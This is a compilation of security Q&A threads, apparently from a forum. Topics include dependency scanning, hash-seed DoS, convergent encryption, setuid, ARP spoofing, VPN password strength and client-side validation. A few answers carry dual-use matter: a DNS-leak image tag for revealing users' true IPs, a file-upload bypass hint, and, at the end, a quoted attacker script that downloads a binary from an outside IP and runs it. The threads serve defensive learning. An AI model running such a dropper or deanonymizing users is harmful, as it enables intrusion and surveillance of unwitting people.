Yes, application advertising IDs, connecting to Windows Update with your Windows 10 account, etc. In fact, connecting to any of these services, of which there are many, during your Internet Cafe visit, can easily tell Microsoft where you've been.
It doesn't matter if you were behind a proxy or 40: all connections to Microsoft services are recorded. Every single IP address for every single instance of your advertising ID / windows key / windows account, is recorded.


How to check vulnerable component and its version in any APK? I have given an app to test, on which I ran a quick scan in composition tool like Protecode, It shows all component (like okhttp, protobuf,okhttp etc.) used and existing vulnerability.

My question is, if I want to list all component and its version/vulnerability manually, so how can we do that?

Thanks!

Owasp dependency check is one of the ways to go. It downloads all the latest vulnerability listings for the dependencies and than checks your app dependencies against them.

Tool:

https://www.owasp.org/index.php/OWASP_Dependency_Check

Guide:

https://medium.com/@appmattus/android-security-scanning-your-app-for-known-vulnerabilities-421384603fc5


What is the Constant HashTables Seeds Vulnerability? Just recently, NodeJS announced about the high impact security vulnerability issue recently fixed and announced by nodeJS team.

This vulnerability has been fixed immediately across all lines (4.x, 6.x, 7.x, and 8.x) but the reason on how it occurred and what it is is a little ambiguous

What is the Constant Hashtable Seeds vulnerability, and what caused it?

Constant HashTable Seeds Vulnerability

HashTables fulfill the dream of constant time insertions and access. A HashTable is a group of linked lists, the linked-lists must be small in order for the performance to be good.

This attack happens when the attacker over saturates one linked-list inside the hashtable, resulting in huge access times, slowing the whole node process. thus the denying of service attack vulnerability.

NodeJS prevents attackers from abusing one linked-list inside the hashtable by randomizing the hash function algorithm as they introduce random seeds for the algorithm at the initialization time.

The bug was that the random seed was always constant (random but never changing across each version of node) as it is initialized during compiling of node code, the reason behind this is that the V8 engine takes a snapshot of the initialized context, and reuses it on the next boots, to make things faster. so the attacker can now know the algorithm and its seed, allowing the attacker to abuse the hashtable and oversaturate one linked list.

I wrote a blog post about the topic explaining the hashTables and the origins of the vulnerability in more details, NodeJS: Constant HashTables Seeds Vulnerability – Medium


Reveal the True IP of a User Is there any best practice method (and preferably documented) way of revealing the True IP of a user using a HTTP(S) connection?

I.e.: To be able to uncover the true IP from transparent as well as anonymous proxies wherever possible.

If the connection uses proxies which are correctly implemented, discovering the ip through http or tcp can be difficult. You may have some luck in getting closer to the ip using DNS instead.
for
If you generate the page dynamically to contain an image located at a domain that you control, e.g.

<img src="http://123123.deanonymize.mydomain.com"/>

the browser will perform a lookup on 123123.deanonymize.mydomain.com. This will result in a recursive DNS-query that eventually will reach your dns for mydomain.com. The query will originate from whatever dns the victim is using, typically the ISP. So, while it will not give you the exact IP, it may point you in a general direction.

AFAIK, this method works even if the victim uses TOR in vanilla mode, see https://trac.torproject.org/projects/tor/wiki/doc/PreventingDnsLeaksInTor for more information.

Another way may be to use a java-applet to figure out the IP at the client side, but I'm not up-to-date on what limits are in place for that nowadays.


Based on which criteria is this outbound traffic being blocked? Only HTTP passes, on any TCP port? There is a server program running behind a home ADSL modem/router, at a premise that I'll call C; the program listens on TCP port 29401, and accepts connections using a custom binary, non-HTTP, protocol to exchange data. The home router has a port forwarding feature that has been configured to allow (in addition to HTTP and SSH) Internet communication with such program:

Outer port: TCP 29401
Inner port: TCP 29401
Server address: 192.168.1.196

The home ADSL modem/router has a dynamic public IP on the external interface, and uses the usual 192.168.1.X/24 range of private addresses for the LAN. The server is running a dynamic IP auto-update client which keeps a DNS Host (A) record up-to-date. The private IP of the server is 192.168.1.196. Let dyn.example.com be the name of the dynamic DNS domain.

I'll focus on a scenario involving two additional premises, which I'll call A and B. These 3 premises are unrelated and independently connected to the Internet.

Premise A

From premise A it is possible to:

Browse the website corresponding to dyn.example.com virtual host on Apache.
SSH into the server using the hostname to establish the connection
A client program for the custom binary server is able to connect to dyn.example.com:29401 and exchange data.
Skype and other VOIP software (which like uses hole punching) works properly.
Connect to http://portquiz.net:29401/ and receive the appropriate page.

Premise B

From premise B it is possible to:

Browse the website corresponding to dyn.example.com virtual host on Apache.
Cannot test SSH, as no SSH client is available at premise B.
The same client program crashes, reporting that connection was forcibly closed by the remote host. The custom server doesn't show any evidence of a connection being established at any point.
Skype and other VOIP software (which like uses hole punching) works properly.
Connect to http://portquiz.net:29401/ and receive the appropriate page.

Choosing other TCP ports results in the same behavior.

Question

Does evidence suggest that at premise B outgoing traffic is analyzed at application level on all TCP ports? All ports can exit, but if they try to talk using a protocol different from HTTP, the firewall terminates the connection. To me this is surprising because I heard that first an administrator would lock all ports, and then proceed to analyze the traffic on port 80 to prevent applications from using HTTP tunneling techniques.

It's certainly possible to block based on more sophisticated protocol detection than simply the port.

It's also quite possible that the traffic is being broken by accident. Domestic Internet providers will often assume that their users are doing conventional things and optimise their networks accordingly.

One useful test would be to establish a VPN from the B site and see if it works when it is tunnelled through B's ISP.


Is it possible to exploit a file upload with whitelist and filename hashing? I have a small web application. Because it is necessary to upload some files I  check the file extensions with a whitelist (tgz, jpg, png, pdf, zip, rar, txt, gif, py, c, rb). In addition to that, I hash the filenames with md5 so e.g. when the user uploads the file "exploit.php.jpg" it is renamed to "526a8f9f3497b5a69bc4523ba0c6aacd.jpg".

There is neither a MIME-Type verification nor a "getimagesize()" or resize-function, if it is a picture. Because of that it is possible to upload a php-file that is just renamed to exploit.jpg

Although this seems to be very risky and the user also knows, where this file exists on my server (/images/526a8f9f3497b5a69bc4523ba0c6aacd.jpg), I am not able to run this file as a .php.

When I try to open /images/526a8f9f3497b5a69bc4523ba0c6aacd.jpg%00 or /images/526a8f9f3497b5a69bc4523ba0c6aacd.php and so on.. I only get "file not found" (.php) or "image can not be displayed" (jpg, gif).

Does anyone know if and how it is possible to exploit that fileupload?

Don't trust a whitelist, it can be bypassed:

Content-type: image/jpeg; filename=exploit.php

Hashing the files does not protect you if the attacker can access the file direct:

<img src='http://yoursite.net/images/526a8f9f3497b5a69bc4523ba0c6aacd.jpg>

You could create a PHP script to read the file and send the contents to the user, unchanged. This way, the attacker will never reference the file on your server, and whatever server side exploit he could upload would not trigger:

<?php

$filename = getFilenameFromDatabase();
// e.g: $DOCROOT/images/exploit.rb.exe.py.bat.scr.php.jpg
header("Content-type: image/jpeg");
readfile("$filename");
?>

Just make sure to filter the path to the files, otherwise the attacker can get read access of your files.


Key derived from source files; deduplicated file storage I'm wondering if the following system would be a secure way to store frequently duplicated files.

Hash the source file, deterministically derive a key from it.

The source file(s) are likely to be high entropy (PDFs, archives of multiple files etc)

Use that key to encrypt the source file.
Upload that encrypted file to any public network.

If the files are "encrypted", the storage provider does not have to be trusted.

To access/share the files, the address of the encrypted file and the source hash would need to be shared.
The advantage I'm going for here is even if two people have the same source file (which is likely in my use case), it would only have to be stored once, saving storage costs.
My question from a storage provider's standpoint; Is this system secure? (assuming good hash and key derivation functions are used)
Edit: I'm not concerned about the key changing since the storage will primarily be content addressed (IPFS like) and is for long term storage rather than regular updates.

No, this is not generally secure. You cannot have deduplication with other users' files and privacy. But this depends on your exact threat model/security goals.
Using the hash of a file to encrypt it is called convergent encryption, and is a deterministic encryption method. Notably, there is no secret key that would add security to the ciphertext. Instead, any security comes from the entropy in the plaintext files alone.
It is clear that this scheme can't offer e.g. semantic security, and an attacker can efficiently learn something from the ciphertext. In particular it is trivial to verify if one of your files matches a publicly known file. Furthermore, PDF documents such as form letters might look high-entropy, but actually only differ in a few fields. This can be brute-forced. Also, a malicious service provider can pre-compute encryptions of documents they're interested in.
The solution of this is to stop using a deterministic encryption method. For example, adding a sufficient amount of random bits per block/file will help, but will also destroy deduplication opportunities. Using a real symmetric encryption with a secret key would be another solution, and would at lesst allow deduplication among holders of the same key.
You claim that your plaintext has high entropy. This is a strong assumption. Note that if your plaintext is high-entropy, then deduplication is unlikely and you might as well use a secure encryption method instead. In the context of this discussion, entropy must not be understood relative to all-zero bits but relative to the distribution of content known to other participants. If every user knows 1000 files of which one is the same 2GB large movie, that file only has around 10 bits of security, or actually zero since a fingerprint for the convergently encrypted file can be precomputed by everyone. Since your scheme doesn't feature secrets, it is impossible to distinguish between legitimate users and malicious attackers.


3 way authentication Can someone please tell me what does 3 way authentication mean? I cannot understand this concept?

Now if there are two people A and B

A challenges B with a question
B gives the answer and B challenges A with a question
A gives the answer to B

Now if A and B receives the correct reply then both A and B are authenticated. Am I correct?

What is described in your question is mutual authentication - two parties authenticate to each other - which is sometimes known as a 3 way handshake.

3 way authentication is typically where two parties trust a third to carry out the authentication, eg when using Kerberos both parties implicitly trust the Kerberos server. In a typical network these two parties would often be the user and the application server they want to connect to, and Kerberos authenticates the two to each other.

Kerberos is just one example - it is fairly common, but maybe the term isn't in common usage.


EncFS vs EFS advantages for Dropbox-seamless encryption I am considering a solution for securing my private data in Dropbox. In spite of OneDrive, MEGA and AmazonCloud are also being considered but now I put my focus on Dropbox as the most feature-rich of all.
I came to the couple of options that are available for my aims:

Set up separate EncFS volume
Use in-place EFS encryption for files and folders
Use BitLocker volumes (not appreciated)

Dear Gurus, can you give me advantages and disadvantages of all above solutions from security (primarily!) and convenience perspectives?
I am not keen into installing additional stuff like with EncFS, the more so it is paid (free version of BoxCryptor is very ill-functioned).  Moreover, it is commonly known EncFS also has drawbacks.
Built-in solutions (like EFS and BitLocker) wll be highly appreciated but how do they look in sense of security against EncFS?
Security is a must however it'd highly preferable to leave Dropbox features (file preview, versioning, etc.) enabled.
Maybe things look different if I choose another cloud hosting (MEGA, OneDrive)?

I had the same problem ~2010-2012 and never made it work.

EFS - normal users (and programs, such as dropbox client) does not have access to ciphertext, OS either decrypts file automatically or refuses to do anything with it. It seems that the only way to access ciphertext is by some method intended for backups. (as this cannot work theoretically, did not tried experimentally)
EncFS - (assuming on windows), back then it did not work properly at all. Files became corrupted on modification. If it works properly now, it might be the best option.
Bitlocker - (i actually tried truecrypt, but there are the same problems). It was the only thing that somehow worked, but on changes syncing meant transferring entire file. I know, that it was supposed to sync only changes, maybe smallest syncable unit was entire file?


is it possible to execute an executable file as the owner rather than current user Is it possible to use owners privilege instead of current user who is executing the file to perform some action like create a file?

Say I have an executable file which is created by user and can be modified and executed by other users. Is there a way to change the effective uid of the process to owner and operate on behalf of the owner

Not really sure what you're asking. When you execute programs, they run as you. You can su them to run as another user, but you have to become the other user first (ie you have to know their password).

I think the scenario you are describing is that a file is created by the user victim with the following permissions:

-rwxrwxrwx 1 victim victim exec_file

and you want user to be able to execute the file and have it run as victim.

victim could use setuid to set the special bit of the executable like this:

victim$ chmod u+s exec_file
victim$ ls
-rwsrwxrwx 1 victim victim exec_file

Now when user runs the file, it will run as victim. This is not a vulnerability or an attack since victim explicitly set it up this way.

You might think that the following would work:

user$ ls
-rwxrwxrwx 1 user user exec_file
user$ chmod u+s exec_file
user$ chown victim exec_file
user$ ./execfile  # I'm victim now, right?

but linux will prevent you from doing the chown unless you sudo it, ... but if you have sudo powers already, then this isn't really much of an attack.

The closest thing I can think of to making this an actual attack is if multiple users run this program on a regular basis, and you have write permissions on it, then you can replace it with your own code and wait for the owner (or anybody else) to come back and run it. Now somebody else is running your malicious code as themself. In general, bad idea to give users write permission over files that other users will execute. Far better to have it like this:

-rwxr-xr-x 1 user user exec_file

or even better:

-rwxr-xr-x 1 root root exec_file


Block size of CTR, CFB and OFB mode of AES in openssl I am using openssl library. In all documents and webpages it is written that the block size is 128 bites(common for all AES modes). But what I observed in openssl is, for CTR, CFB and OFB modes the block size is 1. Only for CBC mode it is 128 bits. Can anyone clarify this?

Thank you.

Yeah this is explainable by how these modes work.

Note: The input to the mode must be a multiple of the blocksize. (That's why this can be lower than 128-bit for a 128-bit cipher)

Now observe how CBC works: NewBlock(LastCiphertextBlock,PlaintextBlock):=Encrypt(LastCiphertextBlock XOR PlaintextBlock)
As you can see this can only encrypt a multiple of the actual blocksize of the cipher.

Now let's see how OFB works:

NewBlock(State,Plaintext):=State=Encrypt(State);return State XOR Plaintext

So you're basically encrypting some state over and over and use this state as pad to encrypt the plaintext. Thus you're converting your blockcipher into a streamcipher. As the application can now store the state and only generate new states as every old bit has been used, one can encrypt arbitrary data sizes.

Now let's investigate CTR:

NewBlock(Counter,Plaintext):=Counter++;return Encrypt(Counter) XOR Plaintext

As you see this is the exact same logic as with OFB, you generate the pad using some state (the counter). As you can store this pad until the next pad-block is needed you can encrypt data bit-by-bit.

Finally let's dive into (n-bit-)CFB:

NewBlock(LastCipherTextBlock,Plaintext):=Plaintext XOR Encrypt(LastCipherTextBlock)

So again you're converting to a stream cipher, but this time you take the previous ciphertext block (which is known), encrypt it and XOR it against the plaintext. As you can once again store the pad and perform no blocksize operation on the plaintext, you can use arbitrary plaintext sizes.


Any reason to use bcrypt, pbkdf2, scrpt for other things than passwords? Let's say I want to hash some data, using SHA256, in order to prove I know something. Maybe it's my secret ID for something.

In the real of passwords we have moved from hashing -> hashing+salt -> cpu hard problems -> cpu+memory hard problems. However, the main reason we did all this is because passwords are (in the actual world) very low on entropy since people use "123456" as their password. Since websites gets hacked all the time we have started trying to protect these low entropy passwords from being cracked by brute force.

However, there are a lot of other cases where the input is not as "bad". Say I instead want to hash my secret bittorrent sync ID, my bitcoin wallet ID or any other kind of secret identification. Isn't a single round of SHA256 enough here and for the foreseeable future? Even with the NSA building the worlds largest cluster of ASIC's for brute forcing SHA256.

I've seen people using algorithms like bcrypt/scrypt in many othe contexts than passwords, and of course it doesn't hurt - but is there any reason a single hash of SHA isn' good enough? (Assuming I know my input has high enough entropy)

The password-hashing functions (and password-based key derivation functions, in the case of PBKDF2) are designed to cope with the low entropy of passwords: they start from a bad situation (initial secret is vulnerable to a practical exhaustive search) and apply salts and slowness (to prevent parallel/precomputation attacks, and to make exhaustive search slower) so that this badness can be tolerated to some extent.

If your initial secret has sufficient entropy to withstand exhaustive search, then using a password-hashing function is unnecessary. If you have a secret 256-bit key which was generated properly, then bcrypt or scrypt or whatever will not do any additional good. On the other hand, if your initial secret has low entropy even if it is not a "password" per se (e.g. some biometrics-derived value, assuming you could find one that is somewhat secret and can be turned reliably in a value which won't move too much for a given individual), then "password"-hashing functions will be an appropriate tool.

The core functionality of password-processing functions like bcrypt is to convert a low-entropy input value in a non-regular format into a nice hash value (for verification) or symmetric key (for symmetric cryptography) in a way which improves practical resistance to exhaustive search (which is feasible due to the low entropy). "Passwords" are just a very common case of "low entropy secret with a non-regular format".


Is a separate server needed for remotely accesing accounting software? Wishing you all a great 2014. I hope this is the right section.

Basically we have a Dell Poweredge R520 server in our office, and we now want to install some accounting software that can be accessed remotely. Our local IT company is telling us that a new, separate server is needed for "Security reasons". It has been a really tough year for us, if this can be done on a software level, it would be great! I put forward an example of what Amazon does to see his reply.

Its running Windows Server 2008 R2 SP1, and is currently used for access control, as well as shared folders. It is completely under utilized for the specification, as we purchased it for future proofing reasons.

My questions is:

1) How easy would it be to setup a protected space for the Accounting software (Pastel) and what software would be needed?
2) Would you advise a separate server, or software based solution?

Here is his reply FYI:

  "Happy new year too, wishing you all the best in 2014,

  I think xxx has not explained what he wants to say well, so let me put
  it this way which I totally agree with him,

  To have a virtual serves on one server, is quite very easy, like as u
  said, companies like amazon and others, have more than 100 virtual
  server on one physical server,

  But if we are running one or two or three virtual server on one
  physical server, total cost of ownership is totally different, and
  disadvantages are many

  To make any of the available servers run as a virtual host, we will
  need to buy Vmware Vshpere ESX license for it, which will cost not
  less than 5k USD along with the appropriate control software, that is
  excluding additional special backup softwares needed which might cost
  also around 2k USD,

  Also, some of the disadvantages which we might face if we move the
  virtual environment, are as the following:

  1-      High risk of physical failure, what if the server crashed
  down, or at least the hard disc crashed down, by then we will lose
  instead of one server, 3 or 4 at the same time, which can make total
  breakdown of the whole operations

  2-      The above can be avoided, if we do two physical servers to
  live synchronize, but this also comes with a huge amount of spending
  on licenses, which can exceed 25k USD to apply it..

  3-      Performance of the virtual will not be the same as the
  physical one,

  4-      Very complicated to manage, in such a way that not any one can
  manage the servers, unless my team will be always controlling it, or I
  have to deploy one of the IT techs. to be always available !

  As a conclusion, I advise that we user physical server for now, and if
  there is any future major upgrade consideration, then the Virtual
  environment can be studied well and considered,"

Your help would be greatly appreciated!

As with any situation where you pay for security, it is a simple risk assessment calculation.

What could go wrong?
What would it cost me when it goes wrong?
How likely is it that it goes wrong?
What would it cost me to avoid this scenario?

When you run two applications on one server, it is possible that application A has a serious security vulnerability which will give anyone who has access to A (even partial) full access on application B. When you consider doing this, you have to ask yourself "What would that cost me"? We don't know what your business is about and how confidential your data is, so we can't do this calculation for you.

When a system hosts an outward-facing application (like a webserver or a VPN server), the whole world has limited access to it. So a small security flaw could mean that any other application on the server becomes fully accessible to the whole world. This can theoretically also happen for a software which requires authentication. When the authentication mechanism of your accounting software has a major flaw, it could allow anyone from the internet to login and overtake the accounting software. How much more expensive would the damage be when they would then also have full access to the other applications running on the server?

But when you have two applications which are only avaliable on your LAN, and a privilege escalation wouldn't give anyone the right to do anything they couldn't do otherwise, there is really no reason not to put them onto the same machine (security-wise).

Running multiple virtual servers on one physical server can save costs and improve security, but while virtualization builds a barrier between applications which is much higher than when they would run on the same operating system, this barrier isn't as impenetrable as separate hardware. All virtualization softwares had their security vulnerabilities in the past which allowed one VM access to another VM or the host.

Regarding the cost estimates by your vendor to set up a virtualization with 3-4 virtual servers (5k for a vSphere license, 25k for a redundant server, 24/7 support required), I believe these to be overdimensioned. But neither am I a sysadmin, nor is this on-topic here. You might get a much better and more detailed estimation about what you really need from the real sysadmins on http://serverfault.com


How to execute an XSS attack against a site that uses client side protection? Say I have a site that allows me to save my name to the database, and that name is then displayed to other users.

I have determined that if I save the following as my name:

Abe <script>alert(1);</script> Miessler

Another page in the site will take the following steps all on the client side:

Make an AJAX request to get a list of user names
Return those unencoded values (so <scrip.... is returned not &gt;scrip.....)
The page then HTML encodes any values that were returned and renders them on the page

I know that one should not count on anything on the client side for security, but I cannot think of a scenario where an attack would be able to get through here.  Can it be done?

I know that one should not count on anything on the client side for security

This message has become slightly garbled. Really, it should be that the security measure needs to be done on the same side of a security boundary as the system it is protecting. For the common case of a forms-based web app that makes the server side the place where the attack might happen, and the server side the place where the defence has to be done.

But in your case the possible vulnerability, DOM-XSS, occurs in the client browser, so putting the defence against it (proper HTML escaping and/or using DOM methods instead of markup to write the content) on the client too is correct.


Are there any laptops which feature hardware security modules to prevent password brute forcing, such as in iPhone's secure enclave Both iPhones and Googles Pixel 2 phone feature security hardware chips that essentially prevent brute forcing of the passcode by having it be handled by a dedicated hardware security module. To my knowledge this also prevents the device from being compromised even when the phone is simply locked and not turned off, because the ram encrypted as well, and all encryption is handled by the dedicated chip.

Is there any laptops which feature security like this? I do realize that both Apple devices and Google devices are running operating systems made by the company which made the device, and I see how that could pose issues when implementing such features in a laptop designed to take different operating systems.

I've always taken advantage of full disk encryption on my computers, but I know that these days it is rather easy to use various software to bypass the lockscreens of the computer. Typically the only way to ensure disk encryption does its job is to make sure your computer is off whenever it is fully compromised. However the aforementioned phone hardware security features seem to solve this issue with the dedicated chip.

Yes, most laptop CPUs nowadays supports a built in CPU mode for a secure enclave, for example Intel SGX and AMD TrustZone. They effectively implements secure enclave, by preventing code running in the regular mode from inspecting or controlling the code running in the trusted execution mode. In the case of Intel, the secure enclave also runs x86 code, while AMD embeds an ARM TrustZone co-processor that only runs the secure enclave program.


Is password authentication worse that signed messaging if done over SSL? Let there is a public API:

HTTP-based
via SSL
there are no browsers, just connections between custom written programs

The first authentication scheme that came to my mind was... client signs their messages with the private key, server confirms messages via the public key. Looks good.

But why not just using simple login/password authentication in that case? I know it's not a brilliant idea sending secret info over wires but is it really bad if everything is done via secure HTTPS anyway? What are disadvantages of that method?

Authentication based on asymmetric keys is already supported by SSL under the name "client certificate". Indeed, a signature is involved. If you want to use a client asymmetric key, you are encouraged to use this SSL feature which is already implemented by SSL libraries.

Using an asymmetric key for authentication is useful when the identity of the client is asserted by a third party: an entity, distinct from the server, makes the initial identification (aka "certification" with certificates), and the server relies on this identification. This is a separation of roles which may or may not be useful in your context. Another way of viewing it is the following: when the client connects to the server, in a login+password scenario, then the client sends its password to the server. Therefore the server learns the password. A consequence is that the client must not use the same password if it is connecting to several servers which do not trust each other. With a client certificate, the client can use the same certificate with every server.

If you do not need the extra functionalities of certificates, then a login+password is fine. Actually, if the client works in an automatic fashion without a user entry, then the "password" is stored somewhere in the client, not typed by a human. Therefore, that password can be a bunch of random bytes, which will be much more robust against exhaustive search than a human-remembered password. Under these conditions, you may want to use SSL/TLS-PSK which will build on this "pre-shared key" and avoid the need for any certificate, neither client or server.

Similarly, if the password is indeed typed or remembered by a human, consider TLS-SRP which also needs no client or server certificate, and, moreover, tolerates passwords of limited entropy.


Security of Windows Processes using "RunAs A Different User" I've struggled to find much information on this topic. What I'm interested in is the following:

Scenario
A user is logged into a Windows (7, 8.1, etc) workstation as a standard non-administrative account. They then use the Shift-Right Click method to start another process as an elevated account (e.g. domain admin, local admin, etc.)

Question
If that workstation were to be infected with Malware, what level of permissions would that malware have the realistic potential to exploit? Would it be limited to the non-administrative account that is logged in, or would it have the possibility to also take advantage of any elevated processes that may be available? Also how different would this be from standard UAC operations?

The purpose of the question is to determine how effective running as a non-administrator while still elevating several processes be against malware?

There is so many variables to this question with that been said but I'll provide an few scenarios.

Scenario 1:
User machine has been infected by an "virus.exe" which is executing under the user context "TokinRing" which is not an administrator account. You've decided to run an application "cool.exe" as an administrator account. Default windows security for "virus.exe" will not prevent to use any APIs such as OpenProcess, SendMessage and so on against "cool.exe" since it's executing under higher permissions.

However, if "cool.exe" is using is vunerable to buffer overflow which can be influenced by non-administrative account. So, let's say "cool.exe" reads an file which any user can write to. If "virus.exe" creates an file to cause buffer overflow and execute shellcode to do whatever under an higher permission process.

Scenario 2:
User machine has been infected by an "virus.exe" which is executing under the administrator/system context this virus can execute in any any process in the system and could impersonate any local user.

If you could make your question more specific I'd gladly give you much more indepth answer.


Password strength and banks 4 pin code? Why is it that some security advisers recommend using an 8 character password with upper, lower, digits, and symbols while banks only use a 4 digit number pin for debit and 3 digit pin for credit card?

Isn't it a risk for security using a short non-random password like that?

You're not comparing apples to apples in your comparison of password strength to your bank PIN.

Most traditional passwords strength theologies are predicated on the fact that your username and password is all that stands between you and your precious secure data. These are merely two objects that you know and as such it's in your best interest to have a longer password with seemingly random patterns to prevent password guessing and brute force attacks etc.

Your bank card is based off what is known as two-factor authentication - something you have (your bank card) and something you know (your PIN). This extra element of having something you have (which, as you recall you don't have in the first scenario) arguably drastically increases the security when the item you have is handled with great care. With that in mind, you can usually get away with having a 4 digit code because the likelihood that someone will guess your PIN after randomly finding your card without alerting your financial institution is quite low.

It should go without saying that two-factor authentication is not without its flaws (someone could copy your magnetic strip on a non-chip'ed card and steal your PIN), however its additional security benefits allow you to have shorter password lengths without increasing the risk to the holder.


Set the max length for input Suppose I have a form, and one of this form inputs I set the max length to 15:

<input type="text" name="username" maxlength="15">

Now the attacker wants to override this limit, to do that he will simply fire "Inspect element", click on the input, change the value from 15 to 200.

My question here, is there a better way to set the max allowed characters for html forms?

The "better way" is server-side validation, because you simply cannot control what the client will send.  It does not matter what client-side method you use - <input maxlength=, javascript, what-have-you.

To quote OWASP:

  Note that client side validation is a fine idea for performance and
  usability, but it has no security benefit whatsoever. Server side
  checks are required to defend against parameter manipulation attacks.

See also this answer which lays the difference out nicely.


Does the password you use to sign into a VPN determine the strength? I subscribed to a VPN service and need to change the password. Does the password I use to log in determine the strength? For example should it be 64 characters long or can it be 10? I'm thinking of how WiFi passwords need to be long.

The "strength" of the VPN is twofold. You want two things:

Preventing attackers from spying on your data and/or modifying it silently.
Preventing attackers from framing you, i.e. successfully connecting to the VPN under your name.

If the VPN is any good, then you password impacts only the second type of strength, and the only attack vector for the attackers is an online dictionary attack. "Dictionary attack" means trying potential passwords. "Online" means that the attacker must contact the VPN server for each password he wants to try.

Preventing offline dictionary attacks is very important, because with an offline dictionary attack, the attacker tests passwords on his own machines (e.g. he could obtain a hash of the password), and therefore can speed up the attack by throwing more machines at it. With an online dictionary attack, the attack will be no faster than what the VPN server is willing to accept.

Suppose that the VPN server can "try" 1000 passwords per second; this would be typical of a rather strong PC and a VPN with SSL (SSL connection between client and server, then client shows his password within the tunnel -- there again, the server can botch it by allowing too eagerly SSL session reuse). If the space of potential passwords has size one billion, then, on average, the attacker will have to try 500 millions password before hitting the right one. At 1000 per second, this will take him about 6 days.

This highlights the important points:

The VPN server implementation is important.
The VPN server may decrease the efficiency of attacks by voluntarily lower the number of new connections it will accept per second. Lower from 1000 to 100, and resistance to attacks has increased by a factor of 10.
The password length does not directly matter. What matters is the size of the set of possible passwords.

Whatever is the method by which you generate passwords, you must assume that the attacker knows it (he is evil, after all). The best passwords are generated randomly, with real randomness, i.e. your computer, not your head. If you generate a 10-character password where all characters are digits or letters (lowercase and uppercase), and each character is really chosen at random and independently of the others, then there are 6210 = 839299365868340224 possible passwords; that's the size of the set. And if you use randomness, then the attacker has no other choice than to try them all; at 1000 passwords per second, attack will take him, on average, more than one million years. I daresay that it is sufficient.

So use your best dice, generate ten random characters, and that will be fine. If it is not fine, then the VPN implementation is doing something stupid, and you would be well advised to look for a better VPN. The important points for password generation are:

Use real randomness.
Don't use a "witty" password which is (re)constructed mentally (e.g. taking the first letter of each verse in a Shakespeare's sonnet -- the attacker also knows Shakespeare).
Generate one password and accept it. Remembering a password, any password, is easy if you type it every day. Don't produce many passwords until you find one which "looks good" because it will only decrease your security.
Compute the size of the set of possible passwords; that's the only point where the password length matters. The best point of real randomness is that it makes the possible passwords uniformly probable: this allows you to compute the average attack time, as I did above.
Ideally, publish your password generation technique. Defeating the attacker is good; discouraging him so that he does not even try is better.


Does blocking all ports make a machine more secure? I have a machine that I use only to browse the Internet. What if I blocked all ports on this machine (inbound and outbound) except for port 80 and port 443, and restricted these two ports to an internet browser executable. Would this make my machine more secure?

First, it might make your system slightly more secure but it does not make it fully secure. In the majority of attacks today the victim unknowingly invites the attacker implicitly into the local network. This is for example done when surfing the web: all content you visit is downloaded to your local system and rendered or executed (depending on the content) there. The same is true for emails - any attachments you open will be opened on your local system. And attached Office documents, PDF, archives etc are typical vectors to infect your system. No firewall which just blocks based on ports will protect you against these most common attacks.

Apart from that you should only block incoming ports for data which are not part of an established connection (initiated from the inside). Otherwise you will simply not be able to surf the web anymore. And websites are not only located on port 80 and 443, so restricting outgoing access to these ports will probably result in over-blocking too. Similar you might need access to other ports like 143, 993, 465 ... to retrieve and send mail (unless you use web based mail). And games or whatever applications you use might also need different outgoing ports.

Depending on what system you use it might the best (most security with less side effects) if you use the systems capabilities. For example if you declare your computer to be inside a public network it will already adjust the firewall accordingly to not allow any incoming connections but allow outgoing connections.


Visual verification of DH parameter hashes vs derived password hashes Let us assume the following: Alice and Bob are performing Diffie-Hellman key exchange over an unprotected channel. Eve is an active attacker (capable of dropping, modifying and constructing packets on the channel). Let's say that Alice and Bob can visually verify (by looking at an image generated from the hash or a letter-by-letter comparison of the base64 code), things that appear on their screens - I am strongly against visual verification of this kind because it is too easy for a naive user to accidentally provide a MiTM attack surface, however this is not the main question. The main question is which of the following is better:

Verify the hash of received DH-parameters (possible caveat: key sizes are much larger than hashes! And similar hashes are hard to tell apart visually)
Verify the hash of the exchanged key

An answer detailing advantages/disadvantages of both would be amazing (especially considering that the idea of visual verification of received parameters is quite tempting and maybe this question will help avoid the same problem Telegram has).

I assume from your question, there is another communication channel between Alice and Bob that can be used to verify the parameters (for example, Alice could call Bob and tell him the hash of g^A).

Theoretically, Eve could intercept g^A and compute its hash. Then Eve could try to perform a preimage attack (which can be virtually impossible, if proper hash algorithm has been chosen, but can be easy, if an improper algorithm has been chosen). Having g^E1 with the same hash as g^A and g^E2 with the same hash as g^B, Eve could facilitate MITM attack.

So it seems to me that verifying the hash of the secret g^(AB) is a better choice.


need an Alternative to ssl pinning for web applications I am developing a web app and while testing it on burpsuite I found that it is vulnerable to the proxy SSL certificate.
I did some research and found that it was handled by a technique called SSL pinning. But the main problem in front of me is that most of the browsers have deprecated certain kinds of SSL pinning.
Please help me out in finding the right technique to deal with proxied SSL, I am kind of a noob in this domain.

It is unclear what exactly you want to prevent. MITM is only possible if the client side explicitly trusts the MITM (i.e. corporate proxy on firewall vs. attacker). So an attack against the client is not easily possible. Additionally HSTS can be explicitly said which makes overriding certificate warnings impossible on modern browsers.
You can also require a client certificate issued by a CA you control. This certificate is impossible to simply replicate by a MITM. And is thus effective against MITM in corporate proxies where the proxy CA was added as trusted to each clients CA store but where the proxy usually does not retrieve client certificates installed on the client. If there is a risk that the client certificate gets retrieved one can back it by a smart card so that physical representation of the smart card in the client is needed and nobody can replicate the client certificate. Of course, this makes it more complex since somehow the client must get and install the client certificate first.
If your goal is instead to prevent the client itself from reverse engineering or manipulating the application protocol by running some local MITM proxy (i.e. Burp or others) then neither client certificate nor SSL pinning would help. The client has full control over its site and can provide the proxy with the client certificate or could disable SSL pinning. In this case one could only try to obfuscate the protocol to make reverse engineering harder and to keep all important state and computation on the server side to protect against local modifications on the client side.


ARP-spoofing: why does the attacker constantly send ARP replys? I have understood the basic concept of how arp-spoofing works. However, I am struggling with the details.

Why does an attacker have to constantly send out spoofed arp-announcements to the network?

Is a client only accepting the first arp-announcement that arrives after the request for a certain MAC address of an IP address (meaning that the constantly sent out spoof-reply is faster than the reply with the actual MAC address) or are all clients regularly updating their caches by listening to arp-announcements on the network?

When a host sends an ARP reply without ARP request, this is a Gratuitous ARP

In your scenario, this is useful for two reasons:

If a new host connects to the network it will receive the Gratuitous ARP and it will be automatically victim of the attack
If a host doesn't send traffic, the entries in the ARP cache will be cleared. So with the Gratuitous ARP, the timeout is always reset.

And every client which receives the Gratuitous ARP will update their ARP cache.


What does this sh script do if executed? I have intercepted an attack on my web server that I believe was unsuccessful.  The attacker tried to execute this script:

#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
